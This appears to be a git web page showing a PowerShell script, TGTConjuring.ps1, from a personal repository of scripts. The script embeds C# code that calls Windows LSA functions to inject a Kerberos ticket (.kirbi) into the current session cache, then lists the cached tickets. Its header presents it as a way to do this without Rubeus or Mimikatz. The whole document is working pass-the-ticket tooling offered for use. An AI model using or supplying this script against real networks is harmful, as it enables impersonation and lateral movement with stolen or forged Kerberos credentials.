etc~ scripts and random things |
| git clone https://github.com/djnnvx/etc.git |
| log | files | refs | archive |
TGTConjuring.ps1 (5327B)
1 <# 2 Author: vari.sh 3 Main code taken from https://github.com/vletoux/MakeMeEnterpriseAdmin/ 4 5 Description: This script let you import your Kirbi Tickets in your Kerberos Cache without using Rubeus or Mimikatz. 6 If you have a dc.ccache instead you can use impacket 'python3 ticketConverter.py ticket.ccache ticket.kirbi'. 7 Usage: .\TGTConjuring.ps1 ticket.kirbi 8 #> 9 10 param ( 11 [string]$KirbiFile 12 ) 13 14 if (-not (Test-Path $KirbiFile)) { 15 Write-Host "[!] Error: file $KirbiFile not found!" -ForegroundColor Red 16 exit 1 17 } 18 19 $ticketBytes = [System.IO.File]::ReadAllBytes($KirbiFile) 20 21 Add-Type -TypeDefinition @" 22 using System; 23 using System.ComponentModel; 24 using System.Runtime.InteropServices; 25 26 namespace kerberos 27 { 28 public class TGTImporter 29 { 30 [DllImport("secur32.dll", SetLastError = false)] 31 private static extern int LsaConnectUntrusted([Out] out IntPtr LsaHandle); 32 33 [DllImport("secur32.dll", SetLastError = false)] 34 private static extern int LsaDeregisterLogonProcess([In] IntPtr LsaHandle); 35 36 [DllImport("secur32.dll", SetLastError = false)] 37 private static extern int LsaLookupAuthenticationPackage([In] IntPtr LsaHandle, [In] ref LSA_STRING PackageName, [Out] out int AuthenticationPackage); 38 39 [DllImport("secur32.dll", SetLastError = false)] 40 private static extern int LsaCallAuthenticationPackage(IntPtr LsaHandle, int AuthenticationPackage, IntPtr ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus); 41 42 43 [DllImport("advapi32.dll", SetLastError = false)] 44 private static extern int LsaNtStatusToWinError(int StatusCode); 45 46 private enum KERB_PROTOCOL_MESSAGE_TYPE : uint 47 { 48 KerbSubmitTicketMessage = 21, 49 } 50 51 [StructLayout(LayoutKind.Sequential)] 52 private struct LSA_STRING 53 { 54 public UInt16 Length; 55 public UInt16 MaximumLength; 56 public String Buffer; 57 } 58 59 [StructLayout(LayoutKind.Sequential)] 60 private struct KERB_CRYPTO_KEY32 61 { 62 public int KeyType; 63 public int Length; 64 public int Offset; 65 } 66 67 [StructLayout(LayoutKind.Sequential)] 68 private struct LUID { 69 int LowPart; 70 int HighPart; 71 } 72 73 [StructLayout(LayoutKind.Sequential)] 74 private struct KERB_SUBMIT_TKT_REQUEST 75 { 76 public KERB_PROTOCOL_MESSAGE_TYPE MessageType; 77 public LUID LogonId; 78 public int Flags; 79 public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED 80 public int KerbCredSize; 81 public int KerbCredOffset; 82 } 83 84 public static void ImportTGT(byte[] ticket) 85 { 86 IntPtr LsaHandle = IntPtr.Zero; 87 int AuthenticationPackage; 88 int ntstatus, ProtocalStatus; 89 90 ntstatus = LsaConnectUntrusted(out LsaHandle); 91 if (ntstatus != 0) 92 throw new Win32Exception(LsaNtStatusToWinError(ntstatus)); 93 IntPtr inputBuffer = IntPtr.Zero; 94 IntPtr ProtocolReturnBuffer; 95 int ReturnBufferLength; 96 try 97 { 98 LSA_STRING LSAString; 99 string Name = "kerberos"; 100 LSAString.Length = (ushort)Name.Length; 101 LSAString.MaximumLength = (ushort)(Name.Length + 1); 102 LSAString.Buffer = Name; 103 104 ntstatus = LsaLookupAuthenticationPackage(LsaHandle, ref LSAString, out AuthenticationPackage); 105 if (ntstatus != 0) 106 throw new Win32Exception(LsaNtStatusToWinError(ntstatus)); 107 108 KERB_SUBMIT_TKT_REQUEST request = new KERB_SUBMIT_TKT_REQUEST(); 109 request.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage; 110 request.KerbCredSize = ticket.Length; 111 request.KerbCredOffset = Marshal.SizeOf(typeof(KERB_SUBMIT_TKT_REQUEST)); 112 113 int inputBufferSize = Marshal.SizeOf(typeof(KERB_SUBMIT_TKT_REQUEST)) + ticket.Length; 114 inputBuffer = Marshal.AllocHGlobal(inputBufferSize); 115 Marshal.StructureToPtr(request, inputBuffer, false); 116 Marshal.Copy(ticket, 0, new IntPtr(inputBuffer.ToInt64() + request.KerbCredOffset), ticket.Length); 117 118 ntstatus = LsaCallAuthenticationPackage(LsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus); 119 if (ntstatus != 0) 120 throw new Win32Exception(LsaNtStatusToWinError(ntstatus)); 121 if (ProtocalStatus != 0) 122 throw new Win32Exception(LsaNtStatusToWinError(ProtocalStatus)); 123 } 124 finally 125 { 126 if (inputBuffer != IntPtr.Zero) 127 Marshal.FreeHGlobal(inputBuffer); 128 LsaDeregisterLogonProcess(LsaHandle); 129 } 130 } 131 } 132 } 133 "@ 134 135 Write-Host "[*] Importing Kerberos Ticket..." 136 [kerberos.TGTImporter]::ImportTGT($ticketBytes) 137 138 Write-Host "`n[*] Tickets in Kerberos cache:" -ForegroundColor Cyan 139 Start-Process -NoNewWindow -FilePath "klist.exe"